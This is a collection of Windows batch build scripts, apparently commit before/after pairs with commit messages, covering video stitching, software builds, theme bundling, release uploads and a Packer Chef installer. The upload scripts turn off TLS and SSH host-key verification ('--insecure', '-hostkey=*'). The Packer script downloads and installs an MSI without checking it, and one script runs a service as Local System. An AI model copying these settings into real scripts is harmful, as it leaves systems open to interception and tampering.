:CMDSCRIPT

set FFMPEGPATH=c:/Program Files/ffmpeg/bin
set FRAMESTEMPDIR=frames
set OUTTEMPDIR=frames_stitched
set PTOTMPL=gear360video.pto
:: %% is an escape character (note: this will fail on wine's cmd.exe)
set IMAGETMPL=image%%05d.jpg
set IMAGETMPLENC=image%%05d_pano.jpg
set TMPAUDIO=tmpaudio.aac
set TMPVIDEO=tmpvideo.mp4

:: Check arguments
IF [%1] == [] GOTO NOARGS

:SETNAMEOK

:: Check ffmpeg...
if exist "%FFMPEGPATH%/ffmpeg.exe" goto FFMPEGOK
goto NOFFMPEG

:FFMPEGOK

:: Create temporary directories
mkdir %FRAMESTEMPDIR%
mkdir %OUTTEMPDIR%

:: Execute commands (as simple as it is)
echo Converting video to images...
"%FFMPEGPATH%/ffmpeg.exe" -y -i %1 %FRAMESTEMPDIR%/%IMAGETMPL%
if %ERRORLEVEL% EQU 1 GOTO FFMPEGERROR

:: Stitching
echo Stitching frames...
for %%f in (%FRAMESTEMPDIR%/*.jpg) do (
:: For whatever reason (this has to be at the beginning of the line!)
  echo Processing frame %FRAMESTEMPDIR%\%%f
:: TODO: There should be some error checking
  call gear360pano.cmd /o %OUTTEMPDIR% %FRAMESTEMPDIR%\%%f %PTOTMPL%
)

echo "Reencoding video..."
"%FFMPEGPATH%/ffmpeg.exe" -y -f image2 -i %OUTTEMPDIR%/%IMAGETMPLENC% -r 30 -s 3840:1920 -vcodec libx264 %OUTTEMPDIR%/%TMPVIDEO%
if %ERRORLEVEL% EQU 1 GOTO FFMPEGERROR

echo "Extracting audio..."
"%FFMPEGPATH%/ffmpeg.exe" -y -i %1 -vn -acodec copy %OUTTEMPDIR%/%TMPAUDIO%
if %ERRORLEVEL% EQU 1 GOTO FFMPEGERROR

echo "Merging audio..."

:: Check if second argument present, if not, set some default for output filename
:: This is here, because for whatever reason OUTNAME gets overriden by
:: the last iterated filename if this is at the beginning (for loop is buggy?)
if not [%2] == [] goto SETNAMEOK
set OUTNAME="%~n1_pano.mp4"

:SETNAMEOK

"%FFMPEGPATH%/ffmpeg.exe" -y -i %OUTTEMPDIR%/%TMPVIDEO% -i %OUTTEMPDIR%/%TMPAUDIO% -c:v copy -c:a aac -strict experimental %OUTNAME%
if %ERRORLEVEL% EQU 1 GOTO FFMPEGERROR

:: Clean-up (f - force, read-only & dirs, q - quiet)
del /f /q %FRAMESTEMPDIR%
del /f /q %OUTTEMPDIR%

echo Video written to %OUTNAME%
goto END

:NOARGS

echo Script to stitch raw video panorama files, raw
echo meaning two fisheye images side by side.
echo.
echo Script originally writen for Samsung Gear 360.
echo.
echo Usage:
echo %0 inputfile [outputfile]
echo.
echo Where inputfile is a panorama file from camera,
echo output parameter is optional
goto END

:NOFFMPEG

echo ffmpeg was not found in %FFMPEGPATH%, download from: https://ffmpeg.zeranoe.com/builds/
echo and unpack to program files directory
goto END

:FFMPEGERROR

echo ffmpeg failed, video not created
goto END

:END

:<<"::IGNORE_THIS_LINE"
@ECHO OFF
GOTO :CMDSCRIPT
::IGNORE_THIS_LINE

# This is a small script to stitch panorama videos produced
# by Samsung Gear360
#
# TODOs:
# - output file name is currently static
# - add check for gear360pano script
# - ffmpeg and jpg or png?
#
# Trick with Win/Linux from here:
# http://stackoverflow.com/questions/17510688/single-script-to-run-in-both-windows-batch-and-linux-bash

################################ Linux part here

# http://stackoverflow.com/questions/59895/can-a-bash-script-tell-which-directory-it-is-stored-in
DIR=$(dirname `which $0`)

# Clean-up function
clean_up() {
    echo "Removing temporary directories..."
    if [ -d "$FRAMESTEMPDIR" ]; then
        rm -rf "$FRAMESTEMPDIR"
    fi
    if [ -d "$OUTTEMPDIR" ]; then
        rm -rf "$OUTTEMPDIR"
    fi
}

# Function to check if a command fails
# http://stackoverflow.com/questions/5195607/checking-bash-exit-status-of-several-commands-efficiently
run_command() {
    "$@"
    local status=$?
    if [ $status -ne 0 ]; then
        echo "Error while running $1" >&2
        if [ $1 != "notify-send" ]; then
           # Display error in a nice graphical popup if available
           run_command notify-send -a $0 "Error while running $1"
        fi
        clean_up
        exit 1
    fi
    return $status
}

# Do stuff to make this thing run on various POSIX operating systems
# http://stackoverflow.com/questions/3466166/how-to-check-if-running-in-cygwin-mac-or-linux
os_check() {
    case "$(uname -s)" in

    Darwin)
        ;;

    Linux)
        ;;

    CYGWIN*|MINGW32*|MSYS*)
        # Naive approach, should read Hugin installation
        # path from registry or something...
        export PATH=$PATH:"/cygdrive/c/Program Files (x86)/Hugin/bin":"/cygdrive/c/Program Files/Hugin/bin"
        ;;
    *)
        ;;
    esac
}

# Check argument(s)
if [ -z "$1" ]; then
    echo "Small script to stitch panoramic videos."
    echo -e "Script originally writen for Samsung Gear 360.\n"
    echo -e "Usage:\n$0 inputdir [outputfile]\n"
    echo "Where inputfile is a panoramic video file,"
    echo "output parameter is optional."
    run_command notify-send -a $0 "Please provide an input file."
    sleep 2
    exit 1
fi

# Output name as second argument
if [ -z "$2" ]; then
    # If invoked by nautilus open-with, we need to remember the proper directory in the outname
    OUTNAME=`dirname "$1"`/`basename "${1%.*}"`_pano.mp4
    echo "DEBUG: output filename: $OUTNAME"
fi

# OS check, custom settings for various OSes
os_check

# Check if we have the software to do it
# http://stackoverflow.com/questions/592620/check-if-a-program-exists-from-a-bash-script
type ffmpeg >/dev/null 2>&1 || { echo >&2 "ffmpeg required but it's not installed. Aborting."; exit 1; }
# TODO: add check for gear360pano.cmd script

# On some systems not using '-p .' (temp in current dir) might cause problems
FRAMESTEMPDIR=`mktemp -d -p .`
OUTTEMPDIR=`mktemp -d`
IMAGETMPL="image%05d.jpg"
IMAGETMPLENC="image%05d_pano.jpg"
PTOTMPL="gear360video.pto"
TMPAUDIO="tmpaudio.aac"
TMPVIDEO="tmpvideo.mp4"
STARTTS=`date +%s`

# Extract frames from video
run_command notify-send -a $0 "Starting panoramic video stitching..."
echo "Extracting frames from video (this might take a while)..."
run_command ffmpeg -y -i "$1" "$FRAMESTEMPDIR/$IMAGETMPL"

# Stitch frames
echo "Stitching frames..."
for i in $FRAMESTEMPDIR/*.jpg; do
    echo Frame: $i
    run_command "/bin/bash" "$DIR/gear360pano.cmd" "-m" "-o" "$OUTTEMPDIR" "$i" "$PTOTMPL"
done

# Put stitched frames together
echo "Recoding the video..."
run_command ffmpeg -y -f image2 -i "$OUTTEMPDIR/$IMAGETMPLENC" -r 30 -s 3840:1920 -vcodec libx264 "$OUTTEMPDIR/$TMPVIDEO"

echo "Extracting audio..."
run_command notify-send -a $0 "Extracting audio..."
run_command ffmpeg -y -i "$1" -vn -acodec copy "$OUTTEMPDIR/$TMPAUDIO"

echo "Merging audio..."
run_command notify-send -a $0 "Merging audio..."
run_command ffmpeg -y -i "$OUTTEMPDIR/$TMPVIDEO" -i "$OUTTEMPDIR/$TMPAUDIO" -c:v copy -c:a aac -strict experimental "$OUTNAME"

# Remove temporary directories
clean_up

# Inform user about the result
ENDTS=`date +%s`
RUNTIME=$((ENDTS-STARTTS))
echo Video written to $OUTNAME, took: $RUNTIME s
run_command notify-send -a $0 "'Conversion complete. Video written to $OUTNAME, took: $RUNTIME s'"
exit 0

################################ Windows part here

:CMDSCRIPT

set FFMPEGPATH=c:/Program Files/ffmpeg/bin
set FRAMESTEMPDIR=frames
set OUTTEMPDIR=frames_stitched
set PTOTMPL=gear360video.pto
:: %% is an escape character (note: this will fail on wine's cmd.exe)
set IMAGETMPL=image%%05d.jpg
set IMAGETMPLENC=image%%05d_pano.jpg
set TMPAUDIO=tmpaudio.aac
set TMPVIDEO=tmpvideo.mp4

:: Check arguments
IF [%1] == [] GOTO NOARGS

:SETNAMEOK

:: Check ffmpeg...
if exist "%FFMPEGPATH%/ffmpeg.exe" goto FFMPEGOK
goto NOFFMPEG

:FFMPEGOK

:: Create temporary directories
mkdir %FRAMESTEMPDIR%
mkdir %OUTTEMPDIR%

:: Execute commands (as simple as it is)
echo Converting video to images...
"%FFMPEGPATH%/ffmpeg.exe" -y -i %1 %FRAMESTEMPDIR%/%IMAGETMPL%
if %ERRORLEVEL% EQU 1 GOTO FFMPEGERROR

:: Stitching
echo Stitching frames...
for %%f in (%FRAMESTEMPDIR%/*.jpg) do (
:: For whatever reason (this has to be at the beginning of the line!)
  echo Processing frame %FRAMESTEMPDIR%\%%f
:: TODO: There should be some error checking
  call gear360pano.cmd /m /o %OUTTEMPDIR% %FRAMESTEMPDIR%\%%f %PTOTMPL%
)

echo "Reencoding video..."
"%FFMPEGPATH%/ffmpeg.exe" -y -f image2 -i %OUTTEMPDIR%/%IMAGETMPLENC% -r 30 -s 3840:1920 -vcodec libx264 %OUTTEMPDIR%/%TMPVIDEO%
if %ERRORLEVEL% EQU 1 GOTO FFMPEGERROR

echo "Extracting audio..."
"%FFMPEGPATH%/ffmpeg.exe" -y -i %1 -vn -acodec copy %OUTTEMPDIR%/%TMPAUDIO%
if %ERRORLEVEL% EQU 1 GOTO FFMPEGERROR

echo "Merging audio..."

:: Check if second argument present, if not, set some default for output filename
:: This is here, because for whatever reason OUTNAME gets overriden by
:: the last iterated filename if this is at the beginning (for loop is buggy?)
if not [%2] == [] goto SETNAMEOK
set OUTNAME="%~n1_pano.mp4"

:SETNAMEOK

"%FFMPEGPATH%/ffmpeg.exe" -y -i %OUTTEMPDIR%/%TMPVIDEO% -i %OUTTEMPDIR%/%TMPAUDIO% -c:v copy -c:a aac -strict experimental %OUTNAME%
if %ERRORLEVEL% EQU 1 GOTO FFMPEGERROR

:: Clean-up (f - force, read-only & dirs, q - quiet)
del /f /q %FRAMESTEMPDIR%
del /f /q %OUTTEMPDIR%

echo Video written to %OUTNAME%
goto END

:NOARGS

echo Script to stitch raw video panorama files, raw
echo meaning two fisheye images side by side.
echo.
echo Script originally writen for Samsung Gear 360.
echo.
echo Usage:
echo %0 inputfile [outputfile]
echo.
echo Where inputfile is a panorama file from camera,
echo output parameter is optional
goto END

:NOFFMPEG

echo ffmpeg was not found in %FFMPEGPATH%, download from: https://ffmpeg.zeranoe.com/builds/
echo and unpack to program files directory
goto END

:FFMPEGERROR

echo ffmpeg failed, video not created
goto END

:END

Switch video script to use multiblend

Switch video script to use multiblend


dir "C:\Program Files (x86)\"
call "C:\Program Files (x86)\Microsoft Visual Studio\2013\Community\VC\Auxiliary\Build\vcvars32.bat"
cl /MD /LD /EHsc /Fe:arma3urlfetch.dll^
    src\common.cpp^
    src\arguments.cpp^
    src\requests.cpp^
    src\clients.cpp^
    src\output.cpp^
    src\handler.cpp^
    src\main.cpp^
    /DCURL_STATICLIB^
    /I include\windows\x86^
    lib\windows\libcurl_a.lib^
    /std:c++17
rm *.obj
rm *.lib
rm *.exp

update build.bat

update build.bat


:: Build keybase.exe with prerelease options
set GOARCH=386
set GO15VENDOREXPERIMENT=1

:: for Jenkins
if DEFINED WORKSPACE set GOPATH=%WORKSPACE%

echo %GOPATH%

echo %GOROOT%
pushd %GOPATH%\src\github.com\keybase\client\go\keybase
go generate

for /f %%i in ('winresource.exe -cv') do set KEYBASE_VERSION=%%i
echo %KEYBASE_VERSION%
for /f %%i in ('winresource.exe -cb') do set KEYBASE_BUILD=%%i
echo %KEYBASE_BUILD%
go build -a -tags "prerelease production" -ldflags="-X github.com/keybase/client/go/libkb.PrereleaseBuild=%KEYBASE_BUILD%"

:: Then build kbfsdokan.
:: First, sanity-check the hashes
if NOT EXIST %GOPATH%\src\github.com\keybase\kbfs\dokan\dokan.lib copy %GOPATH%\bin\dokan-dev\dokan-v0.8.0\Win32\Release\dokan.lib %GOPATH%\src\github.com\keybase\kbfs\dokan
for /f "usebackq tokens=2*" %%i in (`powershell Get-FileHash -Algorithm sha1 %GOPATH%\src\github.com\keybase\kbfs\dokan\dokan.lib`) do set DOKANLIBHASH=%%i
if NOT %DOKANLIBHASH%==1C9316A567B805C4A6ADAF0ABE1424FFFB36A3BD exit /B 1
for /f "usebackq tokens=2*" %%i in (`powershell Get-FileHash -Algorithm sha1 %GOPATH%\bin\dokan-dev\dokan-v0.8.0\Win32\Release\dokan.dll`) do set DOKANDLLHASH=%%i
if NOT %DOKANDLLHASH%==5C4FC6B6E3083E575EED06DE3115A6D05B30DB02 exit /B 1

pushd %GOPATH%\src\github.com\keybase\kbfs\kbfsdokan
:: winresource invokes git to get the current revision
for /f %%i in ('git -C %GOPATH%\src\github.com\keybase\kbfs rev-parse --short HEAD') do set KBFS_HASH=%%i
for /f "tokens=1 delims=+" %%i in ("%KEYBASE_BUILD%") do set KBFS_BUILD=%%i+%KBFS_HASH%
echo %KBFS_BUILD%
go build -a -tags "prerelease production" -ldflags="-X github.com/keybase/kbfs/libkbfs.PrereleaseBuild=%KBFS_BUILD%"
popd

:: Updater
pushd %GOPATH%\src\github.com\keybase\go-updater/service
go build -a -o updater.exe
popd

:: Then the desktop:
pushd  %GOPATH%\src\github.com\keybase\client\desktop
npm i

buildui.bat
popd

:: Build keybase.exe with prerelease options
set GOARCH=386
set GO15VENDOREXPERIMENT=1

:: for Jenkins
if DEFINED WORKSPACE set GOPATH=%WORKSPACE%

echo %GOPATH%

echo %GOROOT%
pushd %GOPATH%\src\github.com\keybase\client\go\keybase
go generate

for /f %%i in ('winresource.exe -cv') do set KEYBASE_VERSION=%%i
echo %KEYBASE_VERSION%
for /f %%i in ('winresource.exe -cb') do set KEYBASE_BUILD=%%i
echo %KEYBASE_BUILD%
go build -a -tags "prerelease production" -ldflags="-X github.com/keybase/client/go/libkb.PrereleaseBuild=%KEYBASE_BUILD%"

:: Then build kbfsdokan.
:: First, sanity-check the hashes
if NOT EXIST %GOPATH%\src\github.com\keybase\kbfs\dokan\dokan.lib copy %GOPATH%\bin\dokan-dev\dokan-v0.8.0\Win32\Release\dokan.lib %GOPATH%\src\github.com\keybase\kbfs\dokan
for /f "usebackq tokens=2*" %%i in (`powershell Get-FileHash -Algorithm sha1 %GOPATH%\src\github.com\keybase\kbfs\dokan\dokan.lib`) do set DOKANLIBHASH=%%i
if NOT %DOKANLIBHASH%==1C9316A567B805C4A6ADAF0ABE1424FFFB36A3BD exit /B 1
for /f "usebackq tokens=2*" %%i in (`powershell Get-FileHash -Algorithm sha1 %GOPATH%\bin\dokan-dev\dokan-v0.8.0\Win32\Release\dokan.dll`) do set DOKANDLLHASH=%%i
if NOT %DOKANDLLHASH%==5C4FC6B6E3083E575EED06DE3115A6D05B30DB02 exit /B 1

pushd %GOPATH%\src\github.com\keybase\kbfs\kbfsdokan
:: winresource invokes git to get the current revision
for /f %%i in ('git -C %GOPATH%\src\github.com\keybase\kbfs rev-parse --short HEAD') do set KBFS_HASH=%%i
for /f "tokens=1 delims=+" %%i in ("%KEYBASE_BUILD%") do set KBFS_BUILD=%%i+%KBFS_HASH%
echo %KBFS_BUILD%
go build -a -tags "prerelease production" -ldflags="-X github.com/keybase/kbfs/libkbfs.PrereleaseBuild=%KBFS_BUILD%"
popd

:: Updater
pushd %GOPATH%\src\github.com\keybase\go-updater\service
go build -a -o updater.exe
popd

:: Then the desktop:
pushd  %GOPATH%\src\github.com\keybase\client\desktop
npm i

buildui.bat
popd

Fix path typo for windows build (#2958)

Fix path typo for windows build (#2958)


@echo off
echo Building your theme...
mkdir temp
echo Building fonts...
bin\makebundle.exe temp\8x8.fnt Template\font8x8
bin\makebundle.exe temp\7x6.fnt Template\font7x6
bin\makebundle.exe temp\4x6.fnt Template\font4x6
echo Copying colors...
copy /y Template\colors.txt temp\colors.txt
echo Copying graphics...
copy /y Template\bevel.* temp
copy /y Template\vu.* temp
copy /y Template\analyzor.* temp
copy /y Template\logo.* temp
copy /y Template\cursor.* temp
echo Bundling everything together...
bin\makebundle.exe MyNewTheme temp
echo ---
echo Your new theme is now packed in the file called "MyNewTheme"!
echo Copy the file in klystrack\res and restart klystrack.
pause

@echo off
echo Building your theme...
mkdir temp
echo Building fonts...
bin\makebundle.exe temp\8x8.fnt Template\font8x8
bin\makebundle.exe temp\7x6.fnt Template\font7x6
bin\makebundle.exe temp\4x6.fnt Template\font4x6
echo Copying colors...
copy /y Template\colors.txt temp\colors.txt
echo Copying graphics...
copy /y Template\bevel.* temp
copy /y Template\vu.* temp
copy /y Template\analyzor.* temp
copy /y Template\logo.* temp
copy /y Template\cursor.* temp
echo Bundling everything together...
bin\makebundle.exe MyNewTheme temp
echo 'Cleaning up temporary files...'
rmdir /S /q temp
echo ---
echo Your new theme is now packed in the file called "MyNewTheme"!
echo Copy the file in klystrack\res and restart klystrack.
pause

Clean up after theme bundling

Clean up after theme bundling


ECHO gcc --version
CALL gcc --version
ECHO g++ --version
CALL g++ --version
ECHO b2 install toolset=gcc ^
        address-model=%ARCH% ^
        variant=release ^
        threading=multi ^
        link=shared ^
        -j%CPU_COUNT% ^
        --with-python ^
        --build-dir=buildboost ^
        --prefix=%LIBRARY_PREFIX%
CALL b2 install toolset=gcc ^
        address-model=%ARCH% ^
        variant=release ^
        threading=multi ^
        link=shared ^
        -j%CPU_COUNT% ^
        --with-python ^
        --build-dir=buildboost ^
        --prefix=%LIBRARY_PREFIX%
IF errorlevel 1 exit 1

ECHO move %LIBRARY_INC%\boost-1_61\boost %LIBRARY_INC%
move %LIBRARY_INC%\boost-1_61\boost %LIBRARY_INC%
IF errorlevel 1 exit 1

ECHO %LIBRARY_LIB%\libboost_python-mgw49-mt-1_61.dll "%LIBRARY_BIN%"
move %LIBRARY_LIB%\libboost_python-mgw49-mt-1_61.dll "%LIBRARY_BIN%"
IF errorlevel 1 exit 1

Update bld.bat

Update bld.bat


REM other targets are:
REM 'build'
REM 'test'
REM 'test-integration'

@ECHO OFF
cls

@echo Building from script Common.Logging.build...
@echo .
@echo .
@echo .

tools\nant\bin\nant.exe -f:Common.Logging.build build package-zip package-nuget -D:project.sign=true -D:package.version=3.4 -D:nuget.version.suffix=Beta2 -D:project.releasetype=release > buildlog.txt
rem tools\nant\bin\nant.exe -f:Common.Logging.build build package-zip package-nuget -D:project.sign=true -D:package.version=3.3.1 -D:project.releasetype=release > buildlog.txt

@echo ...complete!
@echo .
@echo .
@echo .

@echo Launching text file viewer to display buildlog.txt contents...
start "ignored but required placeholder window title argument" buildlog.txt

REM other targets are:
REM 'build'
REM 'test'
REM 'test-integration'

@ECHO OFF
cls

@echo Building from script Common.Logging.build...
@echo .
@echo .
@echo .

tools\nant\bin\nant.exe -f:Common.Logging.build build package-zip package-nuget -D:project.sign=true -D:package.version=3.4 -D:nuget.version.suffix=RC1 -D:project.releasetype=release > buildlog.txt
rem tools\nant\bin\nant.exe -f:Common.Logging.build build package-zip package-nuget -D:project.sign=true -D:package.version=3.3.1 -D:project.releasetype=release > buildlog.txt

@echo ...complete!
@echo .
@echo .
@echo .

@echo Launching text file viewer to display buildlog.txt contents...
start "ignored but required placeholder window title argument" buildlog.txt

update build script to reflect 3.4-RC1

update build script to reflect 3.4-RC1


@if "%_echo%" neq "on" echo off
setlocal

REM This script should always be called from StartWCFSelfHostedSvc.cmd

set _setuplog=%~dp0..\..\..\..\SelfHostedWcfServiceSetup.log
set _setupSemaphoreFile=%~dp0..\..\..\..\SelfHostedWcfServiceSemaphore.log

echo Preparing to launch the WCF self hosted service

if EXIST %_setupSemaphoreFile% del %_setupSemaphoreFile%

REM Build tools
echo Building the WCF Self hosted service...
call %~dp0BuildWCFSelfHostedService.cmd >>%_setuplog%
SET __EXITCODE=%ERRORLEVEL%
if NOT [%__EXITCODE%]==[0] (
    echo ERROR: An error occurred while building WCF Self hosted Service. >>%_setuplog%
    goto :done
  )

echo Building the certificate generator ...
call %~dp0BuildCertUtil.cmd >>%_setuplog%
set __EXITCODE=%ERRORLEVEL%
if NOT [%__EXITCODE%]==[0] (
    echo ERROR: An error occurred while building the Certificate generator. >>%_setuplog%
    goto :done
  )

REM Config Certs
REM we need the direcotry to save the test.crl file. We are investigate a way to get rid of it
md c:\wcftest
REM Certificate configuration errors are all non fatal currently because we non cert tests will still pass
echo Generating certificates ...
%~dp0..\..\..\..\bin\Wcf\tools\CertificateGenerator\CertificateGenerator.exe >>%_setuplog%
if NOT [%ERRORLEVEL%]==[0] (
    echo Warning: An error occurred while running certificate generator. >>%_setuplog%
  )

echo Configuring firewall...
call %~dp0OpenFirewallPorts.cmd >>%_setuplog%
if NOT [%ERRORLEVEL%]==[0] (
    echo Warning: An error occurred while running certificate generator. >>%_setuplog%
  )

echo Configuring Https ports...
powershell -NoProfile -ExecutionPolicy unrestricted %~dp0ConfigHttpsPort.ps1 >>%_setuplog%
if NOT [%ERRORLEVEL%]==[0] (
    echo Warning: An error occurred while configuration https port. >>%_setuplog%
  )

REM Write into our semaphore file to indicate our SelfHost test is running
echo Started Self host WCF service >>%_setupSemaphoreFile%

REM
REM Start the self hosted WCF Test Service
echo Starting the WCF Self hosted service...
call %~dp0..\..\..\..\bin\Wcf\tools\SelfHostedWcfService\SelfHostedWcfService.exe
set __EXITCODE=%ERRORLEVEL%

:Cleanup
echo Cleaning up after the Self hosted service has completed
REM Update our semaphore file to indicate our SelfHost test is cleaning up
echo Cleaning up after Self host WCF service terminated. >>%_setupSemaphoreFile%
call %~dp0CleanUpWCFSelfHostedSvc.cmd
:done

REM Deleting the semaphore file is an indication the cleanup script is done
REM and no longer writing to the setup log file.
if EXIST %_setupSemaphoreFile% del %_setupSemaphoreFile%

exit /b %__EXITCODE%

@if "%_echo%" neq "on" echo off
setlocal

REM This script should always be called from StartWCFSelfHostedSvc.cmd.
REM If PSEXEC_PATH is set to the full path of the folder containing psexec.exe,
REM it will be used to start the WCF self-hosted service as the Local System account.
REM If PSEXEC_PATH is not set, it will start the service under the current user.

set _setuplog=%~dp0..\..\..\..\SelfHostedWcfServiceSetup.log
set _setupSemaphoreFile=%~dp0..\..\..\..\SelfHostedWcfServiceSemaphore.log

echo Preparing to launch the WCF self hosted service

if EXIST %_setupSemaphoreFile% del %_setupSemaphoreFile%

REM Build tools
echo Building the WCF Self hosted service...
call %~dp0BuildWCFSelfHostedService.cmd >>%_setuplog%
SET __EXITCODE=%ERRORLEVEL%
if NOT [%__EXITCODE%]==[0] (
    echo ERROR: An error occurred while building WCF Self hosted Service. >>%_setuplog%
    goto :done
  )

echo Building the certificate generator ...
call %~dp0BuildCertUtil.cmd >>%_setuplog%
set __EXITCODE=%ERRORLEVEL%
if NOT [%__EXITCODE%]==[0] (
    echo ERROR: An error occurred while building the Certificate generator. >>%_setuplog%
    goto :done
  )

REM Config Certs
REM we need the direcotry to save the test.crl file. We are investigate a way to get rid of it
md c:\wcftest
REM Certificate configuration errors are all non fatal currently because we non cert tests will still pass
echo Generating certificates ...
%~dp0..\..\..\..\bin\Wcf\tools\CertificateGenerator\CertificateGenerator.exe >>%_setuplog%
if NOT [%ERRORLEVEL%]==[0] (
    echo Warning: An error occurred while running certificate generator. >>%_setuplog%
  )

echo Configuring firewall...
call %~dp0OpenFirewallPorts.cmd >>%_setuplog%
if NOT [%ERRORLEVEL%]==[0] (
    echo Warning: An error occurred while running certificate generator. >>%_setuplog%
  )

echo Configuring Https ports...
powershell -NoProfile -ExecutionPolicy unrestricted %~dp0ConfigHttpsPort.ps1 >>%_setuplog%
if NOT [%ERRORLEVEL%]==[0] (
    echo Warning: An error occurred while configuration https port. >>%_setuplog%
  )

REM Write into our semaphore file to indicate our SelfHost test is running
echo Started Self host WCF service >>%_setupSemaphoreFile%

REM
REM Start the self hosted WCF Test Service
if [%PSEXEC_PATH%]==[] (
  echo Starting the WCF Self hosted service under the local user account. >>%_setuplog%
  REM This next call blocks until the service is terminated
  call %~dp0..\..\..\..\bin\Wcf\tools\SelfHostedWcfService\SelfHostedWcfService.exe
  set __EXITCODE=%ERRORLEVEL%
  goto Cleanup
)

if exist %PSEXEC_PATH%\psexec.exe (
  echo Starting the WCF Self hosted service under the Local System account using: >>%_setuplog%
  echo call %PSEXEC_PATH%\psexec.exe -s -h %~dp0..\..\..\..\bin\Wcf\tools\SelfHostedWcfService\SelfHostedWcfService.exe >>%_setuplog%
  REM This next call blocks until the service is terminated
  call %PSEXEC_PATH%\psexec.exe -s -h %~dp0..\..\..\..\bin\Wcf\tools\SelfHostedWcfService\SelfHostedWcfService.exe
  set __EXITCODE=%ERRORLEVEL%
  goto Cleanup
)

echo %PSEXEC_PATH% is not a valid path to psexec.exe
set __EXITCODE=1

:Cleanup
echo Cleaning up after the Self hosted service has completed
REM Update our semaphore file to indicate our SelfHost test is cleaning up
echo Cleaning up after Self host WCF service terminated. >>%_setupSemaphoreFile%
call %~dp0CleanUpWCFSelfHostedSvc.cmd
:done

REM Deleting the semaphore file is an indication the cleanup script is done
REM and no longer writing to the setup log file.
if EXIST %_setupSemaphoreFile% del %_setupSemaphoreFile%

exit /b %__EXITCODE%

Enable self-host startup script to run as Local System conditionally

Adds an environment variable that can be set to alter whether the
self-hosted WCF services starts under the user account (default)
or runs as Local System.


if "%PLATFORM%" == "static" (
	rename static static_win || exit \B 1
	7z a build_static_win_%QT_VER%.zip static_win || exit \B 1
	move build_static_win_%QT_VER%.zip ..\..\..\ || exit \B 1
) else (
	7z a build_%PLATFORM%_%QT_VER%.zip C:\projects\qregovar\release || exit \B 1
)

if "%PLATFORM%" == "static" (
	rename static static_win || exit \B 1
	7z a build_static_win_%QT_VER%.zip static_win || exit \B 1
	move build_static_win_%QT_VER%.zip ..\..\..\ || exit \B 1
) else (
	:: clean package
	del C:\projects\qregovar\release\*.h
	del C:\projects\qregovar\release\*.cpp
	del C:\projects\qregovar\release\*.obj
	ren "C:\projects\qregovar\release\QRegovar.exe" "C:\projects\qregovar\release\regovar.exe"

	7z a build_%PLATFORM%_%QT_VER%.zip C:\projects\qregovar\release || exit \B 1
)

Update upload-prepare.bat

Update upload-prepare.bat


@echo off

set PATH=c:\Program Files (x86)\WinSCP\;%PATH%

set SELF_PATH=%~dp0
set ROOT=%SELF_PATH%\..\..

for /f "delims=" %%i in ('findstr versionString %ROOT%\version.json') do set VERSION_LINE=%%i
set UNQUOTED=%VERSION_LINE:"='%
for /f "tokens=4 delims='" %%i in ("%UNQUOTED%") do set VERSION=%%i

for /f "delims=" %%i in ('dir /b screen-translator-online*.exe') do set online=%%i
for /f "delims=" %%i in ('dir /b screen-translator-offline*.exe') do set offline=%%i

winscp.com /keygen %SELF_PATH%\sf_key /output=key.ppk
set folder="/home/frs/project/screen-translator/bin/v%VERSION%"
winscp.com /command "open sftp://onemoregres@frs.sourceforge.net/ -privatekey=key.ppk -hostkey=*" "mkdir %folder%" "put %online% %folder%/%online%" "put %offline% %folder%/%offline%" "exit"

set url="https://sourceforge.net/projects/screen-translator/files/bin/v%VERSION%/%online%"
curl --insecure -H "Accept: application/json" -X PUT -d "default=windows" -d "api_key=%sf_api%" %url%

set url="https://sourceforge.net/projects/screen-translator/files/bin/v%VERSION%/%offline%"
curl --insecure -H "Accept: application/json" -X PUT -d "default=windows" -d "api_key=%sf_api%" %url%

@echo off

set PATH=c:\Program Files (x86)\WinSCP\;%PATH%

set SELF_PATH=%~dp0
set ROOT=%SELF_PATH%\..\..

for /f "delims=" %%i in ('findstr versionString %ROOT%\version.json') do set VERSION_LINE=%%i
set UNQUOTED=%VERSION_LINE:"='%
for /f "tokens=4 delims='" %%i in ("%UNQUOTED%") do set VERSION=%%i

for /f "delims=" %%i in ('dir /b screen-translator-online*.exe') do set online=%%i
for /f "delims=" %%i in ('dir /b screen-translator-offline*.exe') do set offline=%%i

set VERSION="debug"
winscp.com /keygen %SELF_PATH%\sf_key /output=key.ppk
set folder="/home/frs/project/screen-translator/bin/v%VERSION%"
::winscp.com /command "open sftp://onemoregres@frs.sourceforge.net/ -privatekey=key.ppk -hostkey=*" "mkdir %folder%" "put %online% %folder%/%online%" "put %offline% %folder%/%offline%" "exit"
winscp.com /command "open sftp://onemoregres@frs.sourceforge.net/ -privatekey=key.ppk -hostkey=*" "mkdir %folder%" "put %online% %folder%/%online%" "exit"

set url="https://sourceforge.net/projects/screen-translator/files/bin/v%VERSION%/%online%"
curl --insecure -H "Accept: application/json" -X PUT -d "default=windows" -d "api_key=%sf_api%" %url%

::set url="https://sourceforge.net/projects/screen-translator/files/bin/v%VERSION%/%offline%"
::curl --insecure -H "Accept: application/json" -X PUT -d "default=windows" -d "api_key=%sf_api%" %url%

Check only online installer with test version.


@setlocal EnableDelayedExpansion EnableExtensions
@for %%i in (a:\_packer_config*.cmd) do @call "%%~i"
@if not defined PACKER_DEBUG echo off

if not defined CM echo ==^> ERROR: The "CM" variable was not found in the environment & goto exit1

if "%CM%" == "nocm"   goto nocm

if not defined CM_VERSION echo ==^> ERROR: The "CM_VERSION" variable was not found in the environment & set CM_VERSION=latest

if "%CM%" == "chef"   goto chef
if "%CM%" == "chefdk" goto chefdk
if "%CM%" == "puppet" goto puppet
if "%CM%" == "salt"   goto salt

echo ==^> ERROR: Unknown value for environment variable CM: "%CM%"

goto exit1

::::::::::::
:chef
::::::::::::

if not defined CHEF_URL if "%CM_VERSION%" == "latest" set CHEF_URL=https://www.getchef.com/chef/install.msi
if not defined CHEF_URL set CHEF_URL=https://opscode-omnibus-packages.s3.amazonaws.com/windows/2008r2/x86_64/chef-windows-%CM_VERSION%.windows.msi

set CHEF_MSI=chef-client-latest.msi
set CHEF_DIR=%TEMP%\chef
set CHEF_PATH=%CHEF_DIR%\%CHEF_MSI%

echo ==^> Creating "%CHEF_DIR%"
mkdir "%CHEF_DIR%"
pushd "%CHEF_DIR%"

:: todo support CM_VERSION variable
if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%CHEF_URL%" "%CHEF_PATH%"
) else (
  echo ==^> Downloading %CHEF_URL% to %CHEF_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%CHEF_URL%', '%CHEF_PATH%')" <NUL
)
